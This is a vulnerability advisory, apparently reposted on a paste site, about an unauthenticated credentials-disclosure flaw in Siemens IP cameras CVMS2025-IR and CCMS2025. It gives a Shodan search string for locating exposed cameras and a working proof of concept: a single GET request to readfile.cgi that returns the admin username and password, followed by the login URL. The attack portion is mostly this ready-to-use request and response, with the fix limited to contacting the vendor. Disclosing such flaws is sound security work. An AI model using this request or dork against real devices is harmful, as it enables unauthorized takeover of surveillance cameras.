SIEMENS IP-Camera CVMS2025-IR, CCMS2025 - Credentials Disclosure

WebApplicationExploits     Text     18 August 2016    
  1. 1. Advisory Information
  2. ========================================
  3. Title                   : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure
  4. Vendor Homepage         : https://www.siemens.com
  5. Remotely Exploitable    : Yes
  6. Versions Affected       : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
  7. Tested on Camera types  : CVMS2025-IR, CCMS2025 (Camera type)
  8. Reference for CCMS2025  : https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf
  9. Vulnerability           : Username / Password Disclosure (Critical/High)
  10. Shodan Dork             : title:"SIEMENS IP-Camera"
  11. Date                    : 16/08/2016
  12. Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
  13.  
  14.  
  15. 2. CREDIT
  16. ========================================
  17. This vulnerability was identified during penetration test by Yakir Wizman.
  18.    
  19.  
  20. 3. Description
  21. ========================================
  22. SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.
  23.  
  24.  
  25. 4. Proof-of-Concept:
  26. ========================================
  27. Simply go to the following url:
  28. http://host:port/cgi-bin/readfile.cgi?query=ADMINID
  29.  
  30. Should return some javascript variable which contain the credentials and other configuration vars:
  31. var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0";
  32.  
  33.  
  34. Request:
  35. ----------
  36. GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
  37. Host: host:port
  38. Connection: close
  39.  
  40.  
  41. Response:
  42. ----------
  43. HTTP/1.0 200 OK
  44. Connection: close
  45. Content-type: text/html
  46.  
  47. var Adm_ID="admin";
  48. var Adm_Pass1=“admin”;
  49. var Adm_Pass2=“admin”;
  50. var Language=“en”;
  51. var Logoff_Time="0";
  52.  
  53.  
  54.  
  55. Login @ http://host:port/cgi-bin/chklogin.cgi
  56.  
  57.  
  58. 5. SOLUTION
  59. ========================================
  60. Contact the vendor for further information regarding the proper mitigation of this vulnerability.
連絡先: info@paste.jp
Created by Paste.jp - v7.0